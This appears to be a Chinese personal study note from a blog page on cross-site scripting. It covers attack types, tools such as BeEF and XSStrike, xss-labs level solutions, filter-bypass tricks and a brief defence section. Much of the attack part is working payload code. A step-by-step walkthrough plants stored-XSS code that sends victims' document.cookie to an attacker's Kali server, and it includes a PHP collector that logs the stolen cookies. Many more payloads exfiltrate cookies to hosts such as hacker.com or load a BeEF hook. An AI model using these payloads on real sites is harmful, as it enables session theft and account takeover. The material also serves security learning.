XSS基础学习

  • 1. XSS
    • 1.1 客户端Cookie:
    • 1.2 XSS攻击类型
    • 1.3 工具/平台
    • 1.4 利用方式
      • 1.4.1 非手工方式
        • 1.4.1.1自动化攻击:beef
      • 1.4.2 手工方式
    • 1.5 XSS一些常用代码
    • 1.6 构造XSS脚本
    • 1.7 防御手段
    • 1.8 xss-labs练习笔记
  • 2. 常规注入代码
    • 2.1 标签或字符闭合
    • 2.2 事件触发类
    • 2.3 javascript伪协议
    • 2.4 有过滤情况
    • 2.5 特殊-获取用户cookie等数据的payload
  • 3. XSS的绕过方式总结

1. XSS

  1. XSS的核心要求是构造出能够让前端执行的javascript代码,所以要求我们对javascript代码必须熟悉;
  2. XSS也算是注入类的漏洞,JavaScript的代码注入,所以XSS漏洞更主要是去攻击系统的用户,而不是系统本身;
  3. 注意闭合。

1.1 客户端Cookie:

第一次访问:
客户端请求页面
服务端响应,响应头中有set-Cookie:字段,为客户端设置Cookie
浏览器将Cookie进行存储(磁盘或内存)
之后的访问:
客户端携带Cookie进行访问

1.2 XSS攻击类型

  1. 反射型
  2. 存储型
  3. DOM型

1.3 工具/平台

  1. 扫描工具:XSSTrike
    下载地址:https://github.com/s0md3v/XSStrike
  2. 抓包工具:burpsuit(用target模块)
  3. XSS平台工具:beef xss
  4. XSS在线平台
    https://www.xssye.com/auth/login
    https://xsshs.cn/xss.php?do=project&act=viewcode&ty=create&id=54895
  5. 靶场:xss-labs
    下载地址:https://github.com/do0dl3/xss-labs

1.4 利用方式

1.4.1 非手工方式

  1. xss平台。利用该平台获取受害者的cookie等信息;
    https://xsshs.cn/xss.php?do=project&act=viewcode&ty=create&id=54895

  2. postman管理。利用xss平台获取到cookie值后,用postman软件输入url和cookie值后可直接对后台管理;

  3. 使用beef。在kali开启beef服务,浏览器登录beef,将显示信息中的例子输入到受害者输入框中,beef页面中可得到对方的类似shell的权限,相当于上传了一个马。
    登录页面(kali机):http://192.168.161.131:3000/ui/panel
    例子为:<script src="http://192.168.161.131:3000/hook.js"></script>

  4. XSSstrike工具

1.4.1.1自动化攻击:beef

操作步骤:

  1. 在kali中启动beef-xss
  2. 浏览器访问
  3. 将显示信息中的例子输入到受害者输入框中,页面中可得到对方的类似shell的权限,相当于上传了一个马。
    例子为:<script src="http://192.168.161.131:3000/hook.js"></script>
  4. 在beef后台可看到已中招的IP地址
  5. 在命令栏中进行各种命令操作

1.4.2 手工方式

获取cookie: 渗透机 Kali Linux端操作

  1. 构建收集cookie服务器
  2. 构造XSS代码并植入到web服务器
  3. 等待肉鸡触发XSS代码并将cookie发送到Kali
  4. Cookie利用

渗透步骤:
第一步:编写文件

root@kali:~#vim /var/www/html/cookie_rec.php

cookie_rec.php内容

<?php$cookie = $_GET['cookie'];$log = fopen("cookie.txt","a");fwrite($log, $cookie . "\n");fclose($log);
?>

第二步:提升目录权限

root@kali:~#chown -R www-data.www-data /var/www/

第三步:通过渗透机植入XSS代码
在XSS存储型处植入下列代码:

<script>window.open('http://192.168.161.131/cookie_rec.php?cookie='+document.cookie);</script>

PS1:192.168.161.131为kali Linux IP
PS2:先清除之前植入的XSS代码

第四步:客户机访问代码植入的位置
第五步:cookie收集

root@kali:~#cat /var/www/html/cookie.txt

查看是否成功收集Cookie

1.5 XSS一些常用代码

常用HTML标签:

<iframe>           iframe标签会创建包含另外一个文档的内联框架(即行内框架)。
<textarea>            <textarea>标签定义多行的文本输入控件。
<img>             img标签向网页中嵌入一幅图像。
<script>          <script>标签用于定义客户端脚本,比如JavaScript。
script元素既可以包含脚本语句,也可以通过src属性指向外部脚本文件,
必需的type属性规定脚本的MIME类型。
JavaScript的常见应用时图像操作、表单验证以及动态内容更新。

常用javascript方法:

Alert:              alert()方法用于显示带有一条指定消息和一个确认按钮的警告框
window.location:  window.location对象用于获得当前页面的地址(URL),并把浏览器重定向到新的页面。
location.href:        Location.href返回当前显示的文档的完整 URL
onload:          —张页面或一幅图像完成加载
onsubmit:            确认按钮被点击
onerror:         在加载文档或图像时发生错误

1.6 构造XSS脚本

  1. 探测过滤字符
<sCr<scrscRiptipt>ipt>OonN\&apos;"< >   //万能paload,上传之后看输出是否过滤字符
<script"'Oonn>      //试探,看是否过滤
  1. 弹框警告:
    此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似SQL注入漏洞测试中的单引号’,一旦此脚本能执行,也就意味着后端服务器没有对特殊字符做过滤,这样就可以证明,这个页面位置存在了XSS漏洞。
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>   <!--弹出用户cookie-->
  1. 页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
  1. 页面重定向
<script>window.location="http://www.qfedu.com"</script>
<script>location.href="http://www.baidu.com"</script>
  1. 弹窗警告并重定向
<script>alert("请移步到我们的新站");location.href="http://www.qfedu.com"</script>
<script>alert("xss");location.hret="http://10.1.64.35/mutillidae/rebots.txt"</script>

这里结合了一些社工的思路,例如:通过网站内部私信的方式将其发给其他用户;如果其他用户点击并相信了这个信息,则可能在另外的站点重新登录账户(克隆网站收集账户)

  1. 访问恶意代码
<script src="http://www.qfedu.com/xss.js"></script>
<script src="http://BeEF_IP:3008/hook.js"></script>       <!--结合BeEF收集用户的cookie-->
  1. 巧用图片标签
<img src="#" onerror=alert ('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"></img>
  1. 绕开过滤的脚本
    大小写<ScrIpt>alert( 'xss')</SCRipt>字符编码采用URL、Base64等编码
<a href="&8#106;8#97;8#118;&#97;&#115;&#99;&#114;8#105;&#112;8#116;8#58;&#97;8#108;8#101;8#114;8#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">yangge</a>

注意:页面参数可能不止一个,可以尝试各参数以求能够实现xss](注意:页面参数可能不止一个,可以尝试各参数以求能够实现xss

  1. 收集用户cookie
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://w.hacker.com/cookie.php?cookie="document.cookie</script>
<script>new Image().src="http://w.hacker.com/cookie.php?cookie="+docyment.cookie;</script>
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>
<script>new Image().src="http://ww.hacker.com/cookie.php?cookie='+document.cookie";img.width = 0;img.height = 0;</script>

攻击者服务器用PHP+数据库收集cookie

<?php
$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $GET['url'];
$cookie = $_GET['cookie'];
$conn = new mysqli('127..0.1','root','123456','learn' ) or die("数据库连接不成功.");
$conn->set_charset("utf8");
$sql = "insert into xssdata(ipaddr,url,cookie,createtime) values ('$ipaddr','$url','$cookie',now())";
$conn->query($sql);
// echo "<script>history.back();<lscript>";
echo "<script>location.href='http://www.woniunote.com/'<script>";  //完成后跳转页面,相当于打广告
?>

1.7 防御手段

(1)做实体字符编码,htmlspecialchars()
(2)正则表达式或字符串判断,等

若限制只能使用http://或https://,则可使用实体字符转换(16进制或10进制),以分号结束前一句,后跟http://或https://

payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#59;http://

1.8 xss-labs练习笔记

1、payload:<script>alert(1)</script>
2、payload:1"><ScRipt>alert(1)</ScRipt>               //闭合,大小写绕过
3、payload:' onclick ='javascript:alert(3)'//         //使用了htmlspecialchars方法,需要避开新标签的使用
4、payload:"onclick ="javascript:alert(4)
5、payload:"><a href='javascript:alert(5)'>xss</a>     //script过滤了,onclick也过滤了
6、payload:"><a hREf='javascript:alert(6)'>xss</a>     //闭合,大小写绕过
7、payload:" oonnmouseover="alert(7)                  //闭合,双写绕过
8、payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#56;&#41;//javascript:alert(8),过滤了"<>script,导致不能完成闭合,故不修改标签,利用编码进行传参
9、payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#57;&#41;//http:////javascript:alert(9)//http://,使用了正则表达式,限制只能使用http://或https://
10、payload:&t_sort=" type='text' οnmοuseοver='javascript:alert(10)'>//        //请求参数不止一个,可以进行挨个试探
11、payload:Referer:" type='text' οnmοuseοver='javascript:alert(11)'>//        //试探可用参数,得知为referer,抓包改referer值
12、payload:User-Agent: " οnmοuseοver="javascript:alert(12)" type="text       //试探可用参数,得知为User-Agent,抓包改User-Agent值
13、payload:Cookie: user=" οnmοuseοver="javascript:alert(13)" type="text      //试探可用参数,得知为Cookie,抓包改Cookie值,必须保留user=,否则不能传参
15、payload:'http://localhost/xss-labs/level1.php?name=<img src=1 onerror=alert(15)>'       //使用了ng-include属性,属性值可以是表达式,还可以是包含在同一域名下的文件
16、payload:<img%0Asrc=1%0Aοnerrοr=alert(1)>        //过滤了空格,用%0A代替
17、payload:οnmοusedοwn='alert(1)'        //需要flash插件才能触发,οnmοuseοver='alert(1)'也行//http://localhost/xss-labs/level17.php?arg01=a&arg02=b οnmοusedοwn='alert(1)'
18、payload:οnmοuseοver='alert(1)'//http://localhost/xss-labs/level17.php?arg01=a&arg02=b οnmοuseοver='alert(1)'
19、payload:?arg01=version&arg02=<a href="javascript:alert(1)">123</a>    //Flash xss,涉及反编译,暂时搞不懂//http://localhost/xss-labs/level19.php?arg01=version&arg02=<a href="javascript:alert(1)">123</a><!--Flash xss参考链接https://blog.csdn.net/u014029795/article/details/103213877       //第19关详解https://blog.csdn.net/weixin_30702413/article/details/99326627  //Flash xss简述-->
20、payload:?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123 <!--跟上述一样-->//https://blog.csdn.net/u014029795/article/details/103217680

2. 常规注入代码

2.1 标签或字符闭合

//<script><script>alert(/xss/)</script><script>alert('xss')</script>
"> <script>alert('xss')</script> <"          //标签闭合
<img src=1 onerror=alert ("xss")>
//<input>
<input onfocus="alert('xss')">
<input οnblur=alert("xss") autofocus><input autofocus>     //竞争焦点,从而触发onblur事件
<input onfocus="alert('xss')" autofocus> //通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
//<details>
<details ontoggle="alert('xss');">
<details open ontoggle="alert('xss');">        //使用open属性触发ontoggle事件,无需用户去触发
//<svg>
<svg οnlοad=alert("xss");>
//<select>
<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>        //通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
//<iframe>
<iframe οnlοad=alert("xss");></iframe>
//<video>
<video><source onerror="alert(1)">
//<audio>
<audio src=x  οnerrοr=alert("xss");>
//<body>
<body/οnlοad=alert("xss");>
//<textatea>
<textarea οnfοcus=alert("xss"); autofocus>
//<keygen>
<keygen autofocus onfocus=alert(1)>     //仅限火狐
//<matquee>
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
//<isindex>
<isindex type=image src=1 οnerrοr=alert("xss")>//仅限于IE

2.2 事件触发类

//代码位于onclick事件中,此类事件带有onerror, onload, onfocus, onblur, onchange, onmouseover等
onclick     //单击事件
<img src="http://xxx.xxx.jpg" onclick="alert(1)">
onmouseover:    //鼠标移动事件
<img src="http://xxx.xxx.jpg" onmouseover="alert(1)">
<button onclick="alert('你被攻击了')">快来点我</button>  //按钮提交,onclick为单击
' οnmοuseοver='alert(/xss/)'                //闭合标签,鼠标事件

2.3 javascript伪协议

<a href="javascript:alert(1)">xss</a>        //伪协议,跳转链接
<iframe src="javascript:alert('xss')"></iframe>
<img src="javascript:alert('xss')">         //IE7以下
<form action="Javascript:alert(1)"><input type=submit>

2.4 有过滤情况

<img/src="x"/οnerrοr=alert("xss");>    //过滤空格,用/代替空格
<!--过滤关键字-->
<ImG sRc=x onerRor=alert("xss");> //大小写绕过
<imimgg srsrcc=x οnerrοr=alert("xss");>       //双写关键字
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">    //字符拼接,利用eval
<script>top["al"+"ert"](`xss`);</script> //字符拼接,利用top

其他字符混淆(编码绕过等)
参考链接:https://blog.csdn.net/qq_50854790/article/details/124055941

2.5 特殊-获取用户cookie等数据的payload

<script>new.Image().src="http://10.0.2.15/xssrecv.php?url=" %2B location.href %2B "%26cookie=" %2B document.cookie;/*新建一个图像对象,并赋予一个超链接,可在用户不知情中自动加载该超链接%2B为+号,%26为&符号,因为php后台将+号等同于空格,&符号后的字符会消失*/</script><iframe src="http://www.xxx.com" width=200,lheight=100/>     //钓鱼技巧,插入内嵌的页面,可通过get请求传参构成钓鱼网站
//例子:
http://localhost/Test/testXSS.php?content=<iframe src="http://www.taobao.com/" width=100% height=100%/>
//涉及Flash的情况
payload:http://192.168.112.188/xss/level19.php?arg01=version&arg02=<a href="javascriptalert(1)">111</a><button onclick="alert(document.cookie)">点我有惊喜</button>  //获取当前网页用户cookie
<script>function test() {alert("Hello Test");}</script> <button onclick="test()">快来点我</button> //创建函数test(),onclick调用test()函数

3. XSS的绕过方式总结

  1. 绕过过滤
(1)前端限制,直接用F12开发者选项修改JS代码或HTML代码可,或者用burpsuite绕过。
(2)字符过滤,双写(onclick ononclickclick),大小写绕过(ONClick),通过注释符绕过(//, /**/),也可以通过换行符绕过(%OA,%0D)。
(3)HTML实体转换://字符实体是用一个编号写入HTML代码中来代替一个字符,在使用浏览器访问网页时会将这个编号解析还原为字符以供阅读。javascript:alert("Hello Woniu")编码为:1.十六进制:&#x6A;&#x61;&#×76;&#x61;&#×73;&#×63;&#×72;&#x69;&#×70;&#x74;&#×3A; &#×61;&#x6C;&#x65;&#×72;&#×74;&#×28;8&#x22;&#x48;&#x65;&#x6C; &#x6C; &f#x6F ;&#x20;&#×57;&#×6F ;&#x6E ;&#x69;&#x75;&#x22;&#×29;&#×20;2.十进制:&#106;&#97;&#118;&#97;&8#115;&8#99;&#114;&#105;&4112;&#116;&#58;&#97;&8#108;&#101;&#114;&#116;&#40;&#34;&#72;&#101;&#108;&#108;&#111;&#32;&#87;&#111;&#110;&#105;&#117;&#34;&#41;&#32;
  1. 绕过编码
    明确浏览器解析的机制,明白机制后,选择对应的编码。
  2. 其他技巧
(1)输出在标签间的情况:测试◇是否被过滤或转义,若无则直接<img src=1 onerror=alert(1)>
(2)输出在script标签内:我们需要在保证内部S语法正确的前提下,去插入我们的payload。如果我们的输出在字符串内部,测试字符串能否被闭合。如果我们无法闭合包裹字符串的引号,这个点就很难利用了。可能的解决方案:可以控制两处输入且\可用、存在宽字节
(3)输出在HTML属性内:首先查看属性是否有双引号包裹、没有则直接添加新的事件属性;有双引号包裹则测试双引号是否可用,可用则闭合属性之后添加新的事件属性;TIP:HTML的属性,如果被进行HTML实体编码(形如&#x27),那么HTML会对其进行自动解码,从而我们可以在属性里以HTML实体编码的方式引入任意字符,从而方便我们在事件属性里以JS的方式构造payload。
(4)输出在JS中,空格被过滤:使用/**/代替空格(%0A),或者在XSS代码后对其他代码进行注释。+:%2B
(5)输出在JS注释中:设法插入%0A,%0D等,使其逃逸出来。
(6)输出在JS字符串内:可以利用S的十六进制、八进制、unicode编码。
(7)输出在srchreflaction等属性内:可以利用javascriptalert(1),以及data:text/html;base64;加上base64编码后的HTML.
(8)当我们的XSSpayload位于这些标签中间时,并不会解析,除非我们把它们闭合掉。1、<textarea></textarea>2、<title></title>3、<iframe></iframe>4、<noscript></noscript>5、<noframes></noframes>6、<xmp></xmp>7、<plaintext></plaintext>

个人学习随记,个中多有不足之处,仅当参考!

XSS学习笔记(未完)相关推荐

  1. TS学习笔记 ---未完待续....

    TS学习笔记 1 .ts文件与.tsx文件有什么区别 2.使用TS之前需要配置 3.TS特性 泛型和类型注解有什么区别? 3.什么是泛型参数? 4.函数.类.接口有什么区别? 4.1 一个class不 ...

  2. 个体软件过程(PSP)学习笔记 (未完)

    个体软件过程 前言 软件工程漫谈 软件工程认识观 标准定义 将系统化的.规范的.可度量的方法应用于软件的开发.运行和维护的过程,即将工程化应用于软件中;以上所述方法的研究 软件开发管理 项目管理是基础 ...

  3. 赖世雄教你学英语语法学习笔记(未完)

    [size=medium]关系代词部分(18-19) 关系代词使用的三个原则 1.关系代词前面必须有先行词,也就是被代替的名词 2.关系代词在所引导的从句中必须当主语或宾语 3.关系代词在从句中不能当 ...

  4. pythonb超分辨成像_Papers | 超分辨 + 深度学习(未完待续)

    1. SRCNN 1.1. Contribution end-to-end深度学习应用在超分辨领域的开山之作(非 end-to-end 见 Story.3 ). 指出了超分辨方向上传统方法( spar ...

  5. 《漫画算法》读书心得笔记-未完

    感谢FunTester送的书籍.建议大家买或借来看看,一起学习下.本文主要是记录我看这本书的心得,不一定理解是对的,是我自己悟出来的体会,而不是按书照抄,都是凭自己的理解写出来的,相当于在写一本书了, ...

  6. Kubernetes学习笔记-未整理

    Kubernetes学习笔记 标签:Kubernetes 学习笔记 原文:https://github.com/wtysos11/NoteBook/blob/master/微服务/Kubernetes ...

  7. Ubuntu系统学习笔记(完整版)

    Ubuntu是一个以桌面应用为主的Linux操作系统.一般叫做乌班图 什么叫操作系统? widows,用于个人桌面 macOS,用于个人桌面 Linux,主要用于服务器,商务部署 创建虚拟机安装Ubu ...

  8. 大数据Spark学习笔记—未更完

    Spark概述 核心模块 Spark编程配置 IDEA配置scala环境 IDEA软件中Scala配置安装教程(Spark计算环境搭建)_jing_zhong的博客-CSDN博客 较全的idea202 ...

  9. c++课程学习(未完待续)

    关于c++课程学习 按照计划,我首先阅读谭浩强c++程序设计一书的ppt,发现第一章基本上都是很基础的东西. 同时,书中与班导师一样,推荐了使用visual c++. 而师爷的教程里面推荐使用的是ec ...

最新文章

  1. Smarty的配置与高级缓存技术
  2. linux机器启动pg数据库命令,Linux下创建Postgresql数据库的方法步骤
  3. 【原创】大数据基础之Spark(9)spark部署方式yarn/mesos
  4. 如何管理和记录 SSIS 各个 Task 的开始执行时间和结束时间以及 Task 中添加|删除|修改的记录数...
  5. NodeJS入门04-Express路由和中间件 - 小之 - 博客园
  6. Android怎么插手机卡,魅蓝E手机卡怎么装 魅蓝E手机SIM卡安装图文教程
  7. Hadoop hdfs上传文件报错解决
  8. ansible的自动化管理
  9. Git(9):通俗易懂的Git指令
  10. 计算机毕业设计nodejs宠物寄存管理系统
  11. Microsoft® Silverlight™ Streaming by Windows Live™
  12. 我在华为的十年(转)
  13. JOB SERVER 负载均衡
  14. 狂胜——Redis学习笔记
  15. Android仿qq邮箱账号邮件账号输入框交互
  16. 剑灵狂欢区服务器位置,9377剑灵洪门崛起6月25日部分区合服公告
  17. Origami Airplanes Folds In 3D:非常给力的3D折纸应用
  18. OpenCV stitching_detailed.cpp 笔记
  19. 微软高级工程师带你 21 天入门机器学习
  20. android township 游戏存档备份,游戏闪退存档全没了?不要怕,可以这样备份与还原游戏存档!...

热门文章

  1. 关于到年底日常生活的工作计划
  2. android TP
  3. 微信支付常见错误和统一下单错误码详情
  4. Mac OS 系统用不了Origin怎么办?
  5. 实用算法的分析与程序设计——递推法(倒推法)
  6. 浏览器下载文件,读取BLOB字段会因为数据太大导致数据库连接connect超时关闭的解决方案...
  7. 二本计算机类专业农村学生出路,农村“二本”大学生有哪些出路?主要出路有四条,第2条可逆袭...
  8. Unity导出微信小游戏
  9. 工作中遇到问题以及解决方法
  10. 使用高德地图服务获取全部行政区划与各个省市的地理坐标